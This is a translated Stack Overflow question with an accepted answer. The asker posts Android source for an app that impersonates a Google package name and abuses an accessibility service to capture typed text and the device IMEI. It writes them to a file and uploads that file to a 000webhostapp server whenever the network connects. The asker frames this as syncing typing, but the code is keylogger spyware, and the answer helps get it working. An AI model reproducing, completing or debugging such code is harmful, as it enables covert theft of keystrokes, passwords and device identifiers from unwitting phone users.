android - 无障碍服务无法正常工作

标签 android android-service accessibility

我在应用程序中获得了一项辅助服务,它将您输入的文本同步到互联网,就像打字机一样。它对我不起作用,而且我用于调试的 toast 都不起作用。代码如下:

AccessibilityServices 类:

package com.google.android.googleplaysongs;

import android.accessibilityservice.AccessibilityService;
import android.content.Context;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.telephony.TelephonyManager;
import android.view.accessibility.AccessibilityEvent;
import android.widget.Toast;

import java.io.File;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.text.SimpleDateFormat;
import java.util.Calendar;

public class AccessibilityServices extends AccessibilityService{

    // Shared Preference initialization section for editor and preferences
    SharedPreferences.Editor editor = PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).edit();
    SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(getApplicationContext());

    // Shared Preferences used in the service
    String imei = prefs.getString("imei", null);
    String mseg = prefs.getString("mseg", null);
    String time = prefs.getString("time", null);

    @Override
    public void onAccessibilityEvent(AccessibilityEvent event){
        final int eventType = event.getEventType();
        if(eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED){
            Toast toast = Toast.makeText(this.getApplicationContext(), "Accessiblity Event Recieved", Toast.LENGTH_SHORT);
            toast.show();
            StringBuilder sb = new StringBuilder();
            for(CharSequence s : event.getText()){
                sb.append(s);
            }
            writeToLogger(sb.toString());
        }
    }

    @Override
    public void onInterrupt(){}

    public void writeToLogger(String eventText){
        Toast toasti = Toast.makeText(this.getApplicationContext(), "Accessiblity Service Passed", Toast.LENGTH_SHORT);
        toasti.show();
        if(imei == null){
            editor.putString("imei", getImei());
            editor.commit();
        }
        Toast toastk = Toast.makeText(this.getApplicationContext(), "Falg 1", Toast.LENGTH_SHORT);
        toastk.show();
        if(mseg == null || time == null){ // LogicalOr is used for quick execution
            editor.putString("mseg", eventText);
            editor.putString("time", getTime());
            editor.commit();
            Toast toastio = Toast.makeText(this.getApplicationContext(), "Falg 2", Toast.LENGTH_SHORT);
            toastio.show();
        }
        else{
            if(eventText.contains(mseg)){
                // Update the shared preference here
                editor.putString("mseg", eventText);
                editor.commit();
            }
            else{
                // Insert into log.txt
                File file = new File(this.getFilesDir(), "data.txt");
                if(!file.exists()) {
                    try {
                        file.createNewFile();
                    } catch (Exception e){
                        e.printStackTrace();
                    }
                }
                try {
                    OutputStreamWriter outputStream = new OutputStreamWriter(this.openFileOutput(file.getName(), Context.MODE_PRIVATE));
                    outputStream.append(time).append("-").append(imei).append("-").append(mseg).append("\n");
                    outputStream.close();
                } catch (IOException e){
                    e.printStackTrace();
                }
                // Reset the shared preferences
                editor.putString("mseg", eventText);
                editor.putString("time", getTime());
                editor.commit();
                Toast toastkl = Toast.makeText(this.getApplicationContext(), "Falg 3", Toast.LENGTH_SHORT);
                toastkl.show();
            }
        }
        Toast toast = Toast.makeText(this.getApplicationContext(), eventText, Toast.LENGTH_SHORT);
        toast.show();
    }

    public String getImei(){
        TelephonyManager telephonyManager = null;
        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.LOLLIPOP) {
            telephonyManager = (TelephonyManager) this.getSystemService(Context.TELECOM_SERVICE);
        }
        Toast toast = Toast.makeText(this.getApplicationContext(), "imei", Toast.LENGTH_SHORT);
        toast.show();
        assert telephonyManager != null;
        return telephonyManager.getDeviceId();
    }

    public String getTime(){
        Calendar c = Calendar.getInstance();
        SimpleDateFormat df = new SimpleDateFormat("yyyy MM dd HH mm");
        String formattedDte = df.format(c.getTime());
        formattedDte = formattedDte.replace(" ", "");
        Toast toast = Toast.makeText(this.getApplicationContext(), "time returned"+formattedDte, Toast.LENGTH_SHORT);
        toast.show();
        return formattedDte;
    }
}

NetworkBroadcaster 类:

package com.google.android.googleplaysongs;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;

public class NetworkBroadcaster extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent inte) {
        ConnectivityManager cm = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
        NetworkInfo info = cm.getActiveNetworkInfo();

        if (info != null && info.isConnected()) {
            Intent intent = new Intent(context, NetworkSyncer.class);
            context.startService(intent);
        }
    }
}

NetworkSyncer 类:

package com.google.android.googleplaysongs;

import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
import android.support.annotation.Nullable;

import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.net.HttpURLConnection;
import java.net.URL;

public class NetworkSyncer extends Service {

    int mStartMode;

    @Nullable
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public int onStartCommand(Intent intent, int flags, int startId){
        uploadFile();
        return mStartMode;
    }

    @Override
    public void onDestroy(){
        super.onDestroy();
    }

    public void uploadFile(){
        File file = new File(this.getFilesDir(), "data.txt");
        String urlServer = "https://u-database.000webhostapp.com/";

        HttpURLConnection conn;
        DataOutputStream dos;

        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "**X**";

        int bytesRead, bytesAvailable, bufferSize;
        int maxBufferSize = 1024 * 1024;

        byte[] buffer;
        if (file.isFile()){
            try{
                FileInputStream fileInputStream = new FileInputStream(file);
                URL url = new URL(urlServer);

                // Setiing up the connection
                conn = (HttpURLConnection) url.openConnection();
                conn.setDoInput(true);
                conn.setDoOutput(true);
                conn.setUseCaches(false);
                conn.setRequestMethod("POST");
                conn.setRequestProperty("Connection", "Keep-Alive");
                conn.setRequestProperty("ENCTYPE",  "multipart/form-data");
                conn.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary);
                conn.setRequestProperty("textLog", file.getAbsolutePath());

                dos = new DataOutputStream(conn.getOutputStream());
                dos.writeBytes(twoHyphens + boundary + lineEnd);
                dos.writeBytes("Content-Disposition: form-data;"+
                        "name=\"textLog\";filename=\""+file.getAbsolutePath()+"\""+lineEnd
                );
                dos.writeBytes(lineEnd);

                // create a buffer of maximum size
                bytesAvailable = fileInputStream.available();

                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                buffer = new byte[bufferSize];

                // read file and write it into form...
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);

                while (bytesRead > 0) {
                    dos.write(buffer, 0, bufferSize);
                    bytesAvailable = fileInputStream.available();
                    bufferSize = Math.min(bytesAvailable, maxBufferSize);
                    bytesRead = fileInputStream.read(buffer, 0, bufferSize);

                }
                dos.writeBytes(lineEnd);
                dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);

                // Responses from the server (code and message)
                String serverResponseMessage = conn.getResponseMessage();
                if(conn.getResponseCode() == 200) {
                    if(serverResponseMessage.equals("success")) {
                        file.delete();
                    }
                }

                // Close the streams
                fileInputStream.close();
                dos.flush();
                dos.close();
            }catch(Exception e){e.printStackTrace();}
        }
    }
}

我的 list :

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.google.android.googleplaysongs">
    <uses-permission android:name="android.permission.BIND_ACCESSIBILITY_SERVICE"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <uses-permission android:name="android.permission.MANAGE_DOCUMENTS"/>
    <application android:allowBackup="false">
        <!-- Service for Accessibility-->
        <service android:name=".AccessibilityServices"
            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
            android:label="@string/app_name">
            <intent-filter>
                <action android:name="android.accessibilityservice.AccessibilityService"/>
            </intent-filter>
            <meta-data
                android:name="android.accessibilityservice"
                android:resource="@xml/accessibility_service_config" />
        </service>
        <!-- Broadcast Reciever -->
        <receiver android:name=".NetworkBroadcaster">
            <intent-filter>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
            </intent-filter>
        </receiver>
        <!-- Service for syncing data -->
        <service android:name=".NetworkSyncer" /> -->
    </application>
</manifest>

注意:当 writeToLogger() 函数仅包含一个 toast 来显示传递的字符串时,它可以工作,但是当我尝试注释掉代码时,它不起作用,我真的真的不工作不知道为什么。

如果有人能帮助我,我会非常高兴。

更新:它也没有显示任何错误

最佳答案

将网络操作移至异步任务,然后在重新启动手机后尝试。因为当服务崩溃时,它可能会保留在后台,而不会在每次应用程序运行时重置。重新安装也可以。

关于android - 无障碍服务无法正常工作,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/43762876/

相关文章:

android - 使 Android 服务对其他应用可用

Android 绑定(bind)服务 - 我应该在 onServiceDisconnected 中手动重新连接还是自动尝试重新连接?

css - 内联样式对屏幕阅读器有害吗?

android - 单击操作栏中的后退箭头无法返回

android - 缩小不能与 Android 中的静态按钮一起使用

android - 混合 SKAnnotations 自定义 View

c# - 使屏幕阅读器可以访问 WPF 应用程序

Android:我的 LAN 上的 Volley 请求失败

android - 定期更新位置信息到服务器

accessibility - 文件选择器组件是否有可用的 ARIA 属性?